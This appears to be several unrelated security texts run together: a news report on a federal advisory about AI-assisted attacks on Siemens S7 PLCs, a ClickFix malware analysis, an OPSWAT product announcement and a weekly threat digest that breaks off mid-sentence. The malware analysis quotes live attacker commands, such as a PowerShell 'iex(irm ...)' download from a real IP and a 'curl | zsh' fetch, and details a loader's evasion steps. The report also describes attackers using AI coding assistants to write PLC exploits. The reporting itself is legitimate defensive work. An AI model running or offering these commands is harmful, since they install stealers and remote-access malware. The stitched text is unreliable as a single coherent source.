opswat

Attackers are using AI-generated exploitation scripts to break into internet-exposed Siemens S7 Series programmable logic controllers (PLCs) at water, manufacturing, energy, and other critical facilities, in what five US federal agencies on Wednesday called an “active threat.” In this latest round of intrusions against American critical infrastructure, the attackers use open source industrial automation libraries – specifically snap7.dll/python-snap7 – combined with AI coding assistants. Armed with the open source libraries and AI, the miscreants create custom tools that mimic operational technology (OT) monitoring software and provide read/write access to the PLC devices’ memory, configuration data, and ladder logic programs via the S7comm protocol. “This is not a theoretical risk – it is an active threat,” the feds warned. While the joint alert from the National Security Agency (NSA), Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), Department of Energy (DOE), and Environmental Protection Agency (EPA) doesn’t attribute the threats to a particular government or criminal group, Iranian cyber operatives are suspected of being behind recent attacks targeting PLCs at water and wastewater facilities across at least 12 states, including a cyberattack that disrupted more than 30 community water systems in Minnesota in late July. “This appears to be a continuation of the same suite of activity we suspect is affiliated with Iran targeting PLCs,” Cynthia Kaiser, Halcyon Ransomware Research Center SVP, told The Register. “Iran-affiliated actors and adversaries are actively targeting a wide swath of operational technology because these PLCs underpin essential health, safety, and critical infrastructure across society.” National security and infosec experts last week told The Register that while there is no indication that the water-system hackers used AI in their intrusions, they worried that attackers would soon add AI to their arsenals for attacks against critical infrastructure. Now, that threat appears to be here. “What the advisory highlights with regard to AI usage aligns with what we’ve expected: state-sponsored adversaries are leveraging AI across the board for discrete tasks, like code checks and scripting, to scale their operations and move faster,” Kaiser, a former FBI cyber division deputy assistant director, told us on Wednesday. “The advisory reflects the broader reality that threat actors are using AI to increase their efficiency.” Siemens S7 Series PLCs under fire According to the Wednesday security alert, the latest attacks specifically target internet-exposed Siemens S7 Series PLCs across critical manufacturing, energy, water and wastewater, chemical, food and agriculture, and commercial facilities – in other words: most of the critical industries providing goods and services that Americans use in their daily lives. “Additionally, Siemens S7 Series PLCs are used in other sectors, including the Defense Industrial Base (DIB), and could be targeted there as well,” the feds warned. The Register reached out to the agencies for additional information about the attacks but did not receive any response to our questions. Attackers use internet-scanning services such as Censys and ZoomEye to find exposed, “poorly protected” PLCs running outdated software or using default passwords – and now they’ve got an AI boost. “Threat actors are using AI assistance to generate exploitation scripts using publicly available information on these Siemens S7 Series PLCs for initial access, credential access, denial of service, and other objectives,” the agencies said. “If these PLCs are exposed to the Internet or insufficiently segmented, then threat actors can exploit various critical and high severity known vulnerabilities in these PLCs.” The use of AI also indicates “an evolution in threat actor capabilities,” reducing the need for advanced technical knowledge about OT, and allowing the attacker to more rapidly develop working industrial control system malware and attack chains, the alert says. “I think that the bigger issue is still how exposed OT environments are,” Benny Czarny, CEO and founder of critical infrastructure security firm Opswat, told The Register in an email. “AI makes it much easier for an attacker to create and modify scripts targeting PLCs, so the barrier to attacking industrial systems continues to fall. But for me the answer is not simply better AI detection.” To mitigate this threat, the feds say critical infrastructure owners and operators should first – immediately – inventory all Siemens S7 Series PLCs in their environment, apply security patches as needed, and make sure no PLCs are accessible from the internet. It's also worth checking for anomalous S7comm behavior, including connections from non-engineering workstations, unusual data block access patterns, or write operations outside change windows, the feds suggest. Sequential IP scanning on port 102 and repeated connection attempts with varying parameters can indicate attackers conducting reconnaissance, and Snap7.dll library usage outside approved workstations may also indicate the presence of intruders on the network – so be sure to use these and the rest of the detection strategies detailed in the government security advisory to hunt for anomalies that may indicate a compromise. In addition to looking for indicators of compromise relevant to these intrusions, Czarny said it's critical to reduce the OT attack surface. “If data only needs to leave an OT network, use a data diode,” he said. “There should be no network path back to the PLC for an attacker to exploit. Yes, AI makes this more urgent. But the real lesson for me is still the same: stop giving attackers a path to the critical system in the first place. And do not rely on antivirus and sandboxes to protect your data flow.” ®

Updated July 6 to add connections with SyncTDS and TrafficTDS ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices. A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system. We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer. In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer. Before we look at the technical details, here’s how to avoid becoming the next victim. How to stay safe ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple: Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does. Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem. Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly. Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them. Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels. Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages. Technical analysis The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads. Different lures, one goal Most of the campaigns share several characteristics: Use of the folder C:\ProgramData\Zooms to extract later stages PowerShell ClickFix commands that follow similar patterns Use of Cloudflare R2 buckets to deliver payloads IP addresses hosted by the ASN Dedik Services Limited HTML responses containing only the phrase "hehe" These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets. The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)” The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. We observed these ClickFix campaigns being distributed through: Old websites that have likely expired and been repurchased by the actor(s). CloudFlare Pages (.pages.dev domains). Compromised websites. Fake services, for example related to QR code or web file access. Google ClickFix lures The actors behind these campaigns use various Google-related HTML pages and kits. One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign. Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: /conf/captcha.html?zoneid=10420852 /wincapbot/nobot.html /xmr/trkuste.php?zone=5327134 bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop In this case, the functions related to ClickFix are implemented in the class CustomCaptcha. The command is present in clear without any obfuscation. Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains. In this case, the HTML page is obfuscated by declaring several variables and XORing them. The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController. The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally. We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command: {"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} Other lures The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. We also detected some specifically created fake services websites. For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. In this case the command is encoded in base-64: PowerShell downloader The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. We have detected several variations of this script, but recent versions do the following: Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP. Send the information of the compromised machine to http://{IP}/dl-callback . In some variants of the script, this part is not present. The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. Trojanized Electron app downloads ResiLoader In this case, the ZIP was downloaded from: pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip After extraction to: C:\ProgramData\Zooms\libEGL.zip_ext The zip contains a trojanized version of the open-source messaging app called “Franz”: The malicious code is implemented in the index.js file: The downloader performs the following operations: Decode the strings with the function HC() . Reads readme.txt , expects a campaign key of the formAAAA-BBBB , returns it as an array of tokens. In this case the name isresiloader-1 and for this we call “ResiLoader” the downloaded DLL. Reads %APPDATA%\setup.txt ; if absent, generates a random 8-char string and persists it. Obtaining persistence using app.setLoginItemSettings . Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response - If task.e is present, it executeseval(task.e) ; it allows the attacker to execute arbitrary JavaScript code. - If task.files is present, create%TEMP%\ \ , decode and write each file; if any filename ends in.exe , run it viachild_process.exec . If In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: {"task":{"name":"JUNE18USY","files":{ "msys-2.0.dll":" ", "msys-crypto-3.dll":" ", "msys-gcc_s-seh-1.dll":" ", "ssh-add.exe":" " }}} After, the executable was executed with: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" ResiLoader The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC. We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. The loader contains several strings, some clear and some encrypted. After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. MANPO: ReadModule len=... MANPO: magicOffset=... … PERS: FAIL all file copies failed, skipping run key PERS: FAIL both HKLM and HKCU Run key writes failed … RUNPE: CreateProcess failed RUNPE: PEB patched RUNPE: VirtualAllocEx failed … POST: RunForever exited (unexpected) POST: entering RunForever POST: hollow= The loader performs the following operations: Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driverpcdhost.sys (OPSWAT AppRemover Driver) and StealC payload using a custom decryption algorithm. Terminate more than 140 processes related to EDR/AV processes using the dropped driver. Perform UAC bypass via ICMLuaUtil Elevated COM Interface. Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe In the end, the loader performs process hollowing of the process ServiceModelReg.exe to run the StealC stealer. Connections with SyncTDS and TrafficTDS We found several other ClickFix campaigns and kits potentially linked to the same operator(s), although there is not enough evidence to confirm this. The domain dasdasdikasjdas[.]click resolves to one of the IPs related to this campaign 151[.]240[.]151[.]126. The domain previously returned a panel called “SyncTDS”. We found more than 20 domains that return the SyncTDS related panel. This panel has also changed graphics over time. One of these “SyncTDS” domains, maskingofking[.]xyz, resolves to 193.111.117[.]6 which hosts several ClickFix-related domains and an open directory containing an interesting kit called “TrafficTDS.” This kit allows the operator to support different payloads related to Windows, Linux, MacOS and Android. In this case, the pages shown to the user are related to ClickFix with a CloudFlare lure. One of the most interesting parts of this kit is the “APK manager” section, which allows the operator to show the user an “Update Required” page to download the malicious APK. IOCs Hash 72907d0ca3258365838626f6a8d993a6: ResiLoader DLL 0234E3188F2883A438B3F2BEAB7A78B2: StealC 6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 206ce339febca0c3bcc850f42595fc63: Amatera Stealer eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT b8d53740024d126cb55f83854335a4ab: Rust Stealer Domains Distribute ClickFix pages: onegeekworld[.]com thefirmos[.]com antibotv3[.]com centralwildcats[.]com cloud.antibotv3[.]com cloudautosolutions[.]com sunseekersupply[.]com 123clocks[.]com orcanegames[.]com rwmonitoring[.]com 100furniture[.]com nepalcharchaa[.]com p-floribunds.pages[.]dev pg-altirade2.pages[.]dev pg-cordivant-m6.pages[.]dev g-luminence.pages[.]dev generator-qrcode[.]online regdev-google[.]com khosla[.]capital eorgke09054909j[.]com dropboxi[.]com CloudFlare buckets used for payload distribution: pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-620528e2dc874e16937673265aa23d39.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev pub-9682d5896df841679c5a17eb41273f89.r2[.]dev pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev unitedstateverif[.]com: payload distribution bigflaredefence[.]com: payload distribution popularcard[.]shop: Rust Stealer C2 xzz[.]proxygrid[.]cc: Amatera Stealer C2 completstep[.]com: Loader C2 eventlogerps1[.]ink: Deno Loader be231ro963[.]com: Deno Loader IPs IP used for payload distribution: 151.240.151[.]126 85.239.149[.]16 85.239.149[.]40 93.152.224[.]29 151.240.151[.]46 93.152.224[.]167 85.239.149[.]78 192.69.195[.]131 135.181.171[.]40 94.26.83[.]206 91.92.34[.]128 85.239.144[.]31 93.152.224[.]39 94.26.90[.]112 146.19.248[.]120: StealC C2 Acknowledgements Related domain reported: https://x.com/stop_spammerz/status/2070152741037477960 Related domain reported: https://x.com/Yuki27183/status/2047354005605777850 User infection reported on Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/ Possible related infection chain https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026 Similar open directory reported: https://x.com/malwrhunterteam/status/2062241642627694690 Similar campaign reported: https://x.com/stop_spammerz/status/2062269326292324592

OPSWAT adds predictive AI engine to MetaDefender for pre-execution threat detection OPSWAT has announced OPSWAT Predictive Alin AI, its first proprietary AI-based threat detection engine for the MetaDefender Platform. This AI-based innovation introduces a new category of capability within the MetaDefender Platform, a high-confidence predictive layer that works alongside existing detection and prevention engines to assess malicious intent before execution, driving greater efficiency across the platform. This enables organizations to act immediately, while minimizing the operational impacts of false positives. “At OPSWAT, we’ve always believed that security begins with prevention, and the assumption that every file is malicious. The Predictive Alin AI Engine wasn’t built to replace your security team; it was built to make them more effective and efficient,” said Benny Czarny, CEO of OPSWAT. “By delivering machine-learning verdicts in milliseconds — before execution, before detonation — we cut through the noise and eliminate the hesitation that costs organizations the most. Our AI-native capabilities give security teams the trust and clarity they need to act with confidence, turning smarter detection into stronger decisions at the speed enterprises demand,” Czarny continued. Precision-first AI built for real-world operations OPSWAT Predictive Alin AI is a machine learning-based static analysis engine that evaluates file structure, entropy patterns, and semantic relationships to predict whether a file will behave in a malicious way, without solely relying on signatures or runtime execution. It delivers sub-100-millisecond inference for most files, operates with a small memory footprint, and performs identically in online and offline deployments. In an internal efficacy analysis, OPSWAT evaluated Predictive Alin AI, demonstrating: 99.99% precision in identifying safe files, validated across months of production traffic testing to minimize noise and false positives. When uncertain, the MetaDefender Platform triggers additional workflows and data handling for further assessment of data automatically reinforcing the defense-in-depth concept. A measurable uplift in overall efficiency when added to multiengine deployments. The results confirm that Predictive Alin AI currently performs best as a decision confidence layer within a multi-engine architecture, particularly in environments where false positives can disrupt operations, block critical workflows, or trigger costly response actions. “Raw detection rate is not the same as operational value. Predictive Alin AI was engineered and evaluated with precision as the primary objective. When it fires, customers can have a high degree of confidence in that verdict, which is exactly what many enterprise environments need,” said Yiyi Miao, Chief Product Officer at OPSWAT. Availability and platform integration Predictive Alin AI adds a proprietary predictive capability alongside MetaDefender’s existing Metascan Multiscanning, Deep CDR Technology, and adaptive sandbox technologies. It is developed in-house by OPSWAT’s data science and R&D teams and trained on curated, privacy-safe datasets from MetaDefender Aether telemetry, OPSWAT Threat Intelligence, and Unit 515 research. The model is continuously refined using correlated feedback across OPSWAT’s ecosystem. The engine is already deployed in customer environments worldwide and is particularly relevant for defense, government, manufacturing, and energy sectors operating under strict regulatory and connectivity constraints.

Some weeks are loud. This one was quieter but not in a good way. Long-running operations are finally hitting courtrooms, old attack methods are showing up in new places, and research that stopped being theoretical right around the time defenders stopped paying attention. There's a bit of everything this week. Persistence plays, legal wins, influence ops, and at least one thing that looks boring until you see what it connects to. All of it below. Let's go. ⚡ Threat of the Week Citrix Flaw Comes Under Active Exploitation — A critical security flaw in Citrix NetScaler ADC and NetScaler Gateway (CVE-2026-3055, CVSS score: 9.3) has come under active exploitation as of March 27, 2026. The vulnerability refers to a case of insufficient input validation leading to memory overread, which an attacker could exploit to leak potentially sensitive information. Per Citrix, successful exploitation of the flaw hinges on the appliance being configured as a SAML Identity Provider (SAML IDP). Your Engineers Are Drowning in Tools — Here's the Data Chainguard surveyed 1,200 engineers and tech leaders for their 2026 Engineering Reality Report. AI is buying back time but also introducing new security concerns, while technical debt, tool sprawl, and burnout keep dragging teams down. 72% say time pressure blocks new feature work; 88% report productivity loss from too many tools. Get the Full Report ➝ 🔔 Top News FBI Confirms Hack of Director Kash Patel's Personal Email Account — The U.S. Federal Bureau of Investigation (FBI) confirmed that threat actors gained access to an email account belonging to FBI Director Kash Patel, but said no government information has been compromised. The Iran-linked hacker group Handala claimed responsibility for the hack, releasing files allegedly representing photos, emails, and classified documents taken from the FBI director's inbox. "The so-called 'impenetrable' systems of the FBI were brought to their knees within hours by our team," the hackers wrote. It's unclear when the account was hacked. The U.S. government, which recently took down multiple sites operated by Iranian state actors, said it's offering up to $10 million for information on threat groups like Parsian Afzar Rayan Borna and Handala. Parsian Afzar Rayan Borna is an IT company that's been implicated in Iran's disinformation and surveillance campaigns. The company is assessed to be linked to Banished Kitten, an Iran-nexus adversary active since at least 2008 and operates the Homeland Justice and Handala Hack personas. Red Menshen Uses Stealthy BPFDoor to Spy on Telecom Networks — A China-linked state-sponsored threat actor known as Red Menshen has deployed kernel implants and passive backdoors deep within telecommunication backbone infrastructure worldwide for long-term persistence. The implants have been fittingly described as sleeper cells that lie dormant and blend into target environments, but spring into action upon receiving a magic packet by quietly monitoring network traffic instead of opening a visible connection. Initial access is usually gained by exploiting known vulnerabilities in edge networking devices and VPN products or by leveraging compromised accounts. Once inside, the threat actor maintains long-term access by deploying tools like BPFdoor. Some BPFdoor samples mimic bare-metal infrastructure, posing as legitimate enterprise platforms to blend into operational noise. Others spoof core containerization components. By embedding the implant deep below traditional visibility layers, the goal is to significantly complicate detection efforts. Rapid7 has released a scanning script designed to detect known BPFDoor variants across Linux environments. GlassWorm Evolves to Drop Extension-Based Stealer — A new evolution of the GlassWorm campaign is delivering a multi-stage framework capable of comprehensive data theft and installing a remote access trojan (RAT), which deploys an information-stealing Google Chrome extension masquerading as an offline version of Google Docs. "It logs keystrokes, dumps cookies and session tokens, captures screenshots, and takes commands from a C2 server hidden in a Solana blockchain memo," Aikido said. GlassWorm is the moniker assigned to a persistent campaign that obtains an initial foothold through rogue packages published across npm, PyPI, GitHub, and the Open VSX marketplace. In addition, the operators are known to compromise the accounts of project maintainers to push poisoned updates. Russian Hacker Sentenced to 2 Years for TA551-Linked Ransomware Attacks — Ilya Angelov, a 40-year-old Russian national, was sentenced to two years in prison for managing a botnet that was used to launch ransomware attacks against U.S. companies. Angelov, who went by the online aliases "milan" and "okart," is said to have co-managed a Russia-based cybercriminal group known as TA551 (aka ATK236, G0127, Gold Cabin, Hive0106, Mario Kart, Monster Libra, Shathak, and UNC2420) between 2017 and 2021. The attacks leveraged spam emails to compromise systems and rope them into a botnet that other cybercriminals used to break into corporate systems and deploy ransomware. This included threat actors affiliated with BitPaymer and IcedID. FCC Bans New Foreign-Made Routers Over Security Risks — The U.S. Federal Communications Commission (FCC) said it was banning the import of new, foreign-made consumer routers, citing "unacceptable" risks to cyber and national security. To that end, all consumer-grade routers manufactured in foreign countries have been added to the Covered List, unless they have been granted a Conditional Approval by the Department of War (DoW) or the Department of Homeland Security (DHS) after determining that they do not pose any risks. The development comes as the Indian government appears to be preparing to bar Chinese CCTV product makers, such as Hikvision, Dahua, and TP-Link, from selling their cameras from April 1, 2026, to tighten oversight under the Standardisation Testing and Quality Certification (STQC) rules, the Economic Times reported. ️🔥 Trending CVEs New vulnerabilities show up every week, and the window between disclosure and exploitation keeps getting shorter. The flaws below are this week's most critical — high-severity, widely used software, or already drawing attention from the security community. Check these first, patch what applies, and don't wait on the ones marked urgent — CVE-2026-3055 (Citrix NetScaler ADC and NetScaler Gateway), CVE-2025-62843, CVE-2025-62844, CVE-2025-62845, CVE-2025-62846 (QNAP), CVE-2026-22898 (QNAP QVR Pro), CVE-2026-4673, CVE-2026-4677, CVE-2026-4674 (Google Chrome), CVE-2026-4404 (GoHarbor Harbor), CVE-2026-1995 (IDrive for Windows), CVE-2026-4681 (Windchill and FlexPLM), CVE-2025-15517, CVE-2025-15518, CVE-2025-15519, CVE-2025-15605, CVE-2025-62673 (TP-Link),CVE-2025-66176 (HikVision), CVE-2026-32647 (NGINX Open Source and NGINX Plus), CVE-2026-22765, CVE-2026-22766 (Dell Wyse Management Suite), CVE-2026-21637, CVE-2026-21710 (Node.js), CVE-2026-25185 aka LnkMeMaybe (Microsoft), CVE-2026-1519, CVE-2026-3104, CVE-2026-3119, CVE-2026-3591 (BIND 9), CVE-2026-2931 (Amelia Booking plugin), CVE-2026-33656 (EspoCRM), CVE-2026-3608 (Kea), CVE-2026-20817 (Microsoft Windows Error Reporting), CVE-2025-33244 (NVIDIA Apex), CVE-2026-32746 (Synology DiskStation Manager), and CVE-2026-3098 (Smart Slider 3 plugin). 🎥 Cybersecurity Webinars Your Identity Program Is Mature. So Why Are You Still Getting Breached? → Your identity program is mature. Yet hundreds of apps still operate outside it. New 2026 Ponemon research from 600+ security leaders shows exactly how big that gap is and what it costs. Now, AI agents are making it worse. This webinar breaks down the findings and shows you what to fix first. Everyone Agrees AI Agents Need Identity. Almost Nobody Knows How to Do It → Everyone agrees AI agents need identity. Few know how to actually do it. This session skips the theory and shows you what a real production deployment looks like, including how to give agents strong identities, see exactly what they're doing, and control how they behave. 📰 Around the Cyber World Fortinet FortiClient EMS Flaw Comes Under Attack — A recently patched security flaw affecting Fortinet FortiClient EMS has come under active exploitation in the wild as of March 24, 2026. The vulnerability in question is CVE-2026-21643 (CVSS score: 9.1), a critical SQL injection that could allow an unauthenticated attacker to execute unauthorized code or commands via specifically crafted HTTP requests. The issue was addressed by Fortinet last month in FortiClient EMS version 7.4.5. "Attackers can smuggle SQL statements through the 'Site'-header inside an HTTP request," Defused Cyber said. Nearly 1,000 FortiClient EMS are publicly exposed. Meta Disrupts Influence Operation Linked to Iran — Meta said it disrupted an influence operation linked to Iran that employed "sophisticated fake personas" on Instagram to build relationships with U.S. users before sending political messaging. The network used accounts posing as journalists, commentators, and ordinary people to engage users and gradually introduce political narratives. A second layer of accounts amplified posts to help spread the messaging. Armenian National Extradited to U.S. in Connection with RedLine Stealer Operations — An Armenian national has been extradited to the United States over his alleged role in the administration of the RedLine infostealer malware. Hambardzum Minasyan, per court documents, allegedly developed and managed the stealer, while unnamed conspirators maintained digital infrastructure, including the command-and-control (C2) servers and administrative panels to enable the deployment of the malware by affiliates, and collected payments from the affiliates. "They allegedly responded to questions and requests from actual and potential RedLine affiliates, conspired with each other and affiliates to steal and possess the financial information, including access devices, of victims, and laundered the proceeds of cybercrime through cryptocurrency exchanges and other means," the U.S. Justice Department said. Minasyan has also been accused of registering two virtual private servers to host portions of RedLine's infrastructure, as well as two internet domains in support of the scheme, repositories on an online file sharing site to distribute the stealer to affiliates, and registering a cryptocurrency account in November 2021 to receive payments. RedLine Stealer was disrupted in an international law enforcement operation in October 2024. Minasyan has been charged with conspiracy to commit access device fraud, conspiracy to violate the Computer Fraud and Abuse Act, and conspiracy to commit money laundering. If convicted, he faces up to 10 years in prison for access device fraud and up to 20 years in prison for the other two counts. In June 2025, the U.S. Department of State announced a $10 million reward for information on Maxim Alexandrovich Rudometov, who is believed to be the main developer and administrator of RedLine. New Android Malware "Android God Mode" Abuses Accessibility Permissions — The Indian Cybercrime Coordination Centre (I4C) has issued an advisory, alerting users of a new Android malware called Android God Mode that abuses its permissions to accessibility services to seize control of infected devices. The malware is propagated via dropper apps that masquerade as banking, public, and utility services such as SBI YONO, Jivan Parman Patra, and RTO Challan, indicating that the campaign's focus is on targeting Indian users. "By coercing users into granting elevated Android permissions, these threats achieve near-total control over the device, enabling stealthy overlay attacks and the real-time theft of sensitive financial and personal information," the I4C said. The malware is distributed in the form of links or APK files shared through WhatsApp. Once installed, it abuses Android's accessibility services to grant itself additional permissions to harvest incoming SMS messages, send messages on the victim's behalf, access contact lists, initiate fraudulent call forwarding, and take pictures using the device's camera. Android 17 Beta Gains New Security Features — To improve security against code injection attacks, Android now enforces that dynamically loaded native libraries must be read-only. If your app targets Android 17 or higher, all native files loaded using System.load() must be marked as read-only beforehand. Another new addition is the support for Post-Quantum Cryptography (PQC) through the new v3.2 APK Signature Scheme. This scheme utilizes a hybrid approach, combining a classical signature with an ML-DSA signature. China-Linked Actors Deliver Mofu Loader and KIVARS — In recent months, Chinese-affiliated espionage clusters like DRBControl have employed DLL side-loading techniques to deliver Mofu Loader – a malware previously attributed to GroundPeony – which then drops a C++ backdoor capable of executing commands issued by an attacker-controlled server. Last year, companies and organizations in Japan and Taiwan have also been targeted by variants of a backdoor called KIVARS, which is tied to a Chinese hacking group called BlackTech. Automated Traffic Outpaces Human Traffic — HUMAN Security found that automated traffic grew eight times faster than human traffic year-over-year. "In 2025, automated traffic across the internet grew 23.51% year over year, while human traffic increased 3.10% over the same period," the company said. The cybersecurity company noted that its customers experienced more than 400,000 attempted post-login account compromise attacks, more than quadruple that of 2024. U.S. Accuses China of Backing Scam Compounds — A senior U.S. official accused Beijing of implicitly backing Chinese criminal syndicates running cyber scam compounds across Southeast Asia. Speaking during a Joint Economic Committee congressional hearing about U.S. efforts to combat digital scams, Reva Price, commissioner with the U.S.-China Economic and Security Review Commission, said links have been unearthed between scam centers and the Chinese government's Belt and Road Initiative. Chinese criminal syndicates have "invested in projects linked to China's Belt and Road Initiative alongside China's state-owned enterprises," she said, adding that they "have also seen criminal leaders who appear to have gotten a pass by promoting messaging and other activities aligned with Chinese Communist Party priorities." Scam centers in Southeast Asia are often operated by Chinese crime syndicates that lure people into the region with enticing job opportunities and coerce them into participating in pig butchering or romance baiting scams by confiscating their passports and subjecting them to torture. Exploitation Against Oracle WebLogic Servers — A recently disclosed security flaw in Oracle WebLogic (CVE-2026-21962, CVSS score: 10.0) witnessed automated exploitation attempts almost immediately after public exploit code was released, demonstrating how software flaws are being rapidly weaponized by bad actors. The activity, detected by CloudSEK against its honeypots, also leveraged other WebLogic flaws (CVE-2020-14882, CVE-2020-14883, CVE-2020-2551, and CVE-2017-10271), as well as flaws impacting Hikvision and PHPUnit, indicating a spray and pray approach. "Attackers predominantly utilized rented Virtual Private Servers (VPS) from common hosting providers like DigitalOcean and HOSTGLOBAL.PLUS," the company said. "The overall activity was characterized by high-volume, automated scanning, with tools like libredtail-http and the Nmap Scripting Engine dominating the malicious traffic." Security Flaws in Cisco Catalyst 9300 Series Switches — Details have emerged about now-patched vulnerabilities in Cisco Catalyst 9300 Series switches (CVE-2026-20110, CVE-2026-20112, CVE-2026-20113, and CVE-2026-20114) that could result in privilege escalation, operational denial-of-service, stored cross-site scripting (XSS), and CRLF injection. "Collectively, these vulnerabilities introduce risks to administrative trust boundaries, service availability, session integrity, and system log reliability – affecting both operational continuity and security monitoring capabilities," OPSWAT said. "CVE-2026-20114 and CVE-2026-20110 are the most operationally impactful when chained. A low-privilege Web UI user can escalate access and invoke a maintenance-mode operation, resulting in full denial of service that may require physical intervention to restore." The issues were patched by Cisco last week. Financial Institution Targeted by BRUSHWORM and BRUSHLOGGER — A modular backdoor with USB-based spreading capabilities was used in an attack targeting an unnamed South Asian financial institution, according to findings from Elastic Security Labs. The malware, dubbed BRUSHWORM, is one of the two malware components identified in the victim's infrastructure, the other being a DLL keylogger referred to as BRUSHLOGGER. "BRUSHWORM features anti-analysis checks, AES-CBC encrypted configuration, scheduled task persistence, modular DLL payload downloading, USB worm propagation, and broad file theft targeting documents, spreadsheets, email archives, and source code," security researcher Salim Bitam said. BRUSHWORM is also responsible for running basic anti-analysis checks, maintaining persistence, command-and-control (C2) communication, and downloading additional modular payloads. BRUSHLOGGER augments the backdoor by capturing system-wide keystrokes via a simple Windows keyboard hook and logging the active window context for each keystroke session. "Neither binary employs meaningful code obfuscation, packing, or advanced anti-analysis techniques," Elastic said. "Given the absence of a kill switch, the use of free dynamic DNS servers in testing versions, and some coding mistakes, we assess with moderate confidence that the author is relatively inexperienced and may have leveraged AI code-generation tools during development without fully reviewing the output." U.K. Sanctions Xinbi — The U.K.'s Foreign, Commonwealth and Development Office (FCDO) has sanctioned Xinbi, a Chinese-language guarantee marketplace accused of enabling large-scale online fraud and human exploitation by supporting #8 Park (aka Legend Park), an industrial-scale scam compound in Cambodia notorious for large-scale pig butchering scams and forced labor of trafficked workers. The U.K. is the first country to sanction Xinbi. The move is designed to isolate Xinbi from the legitimate crypto ecosystem and disrupt its 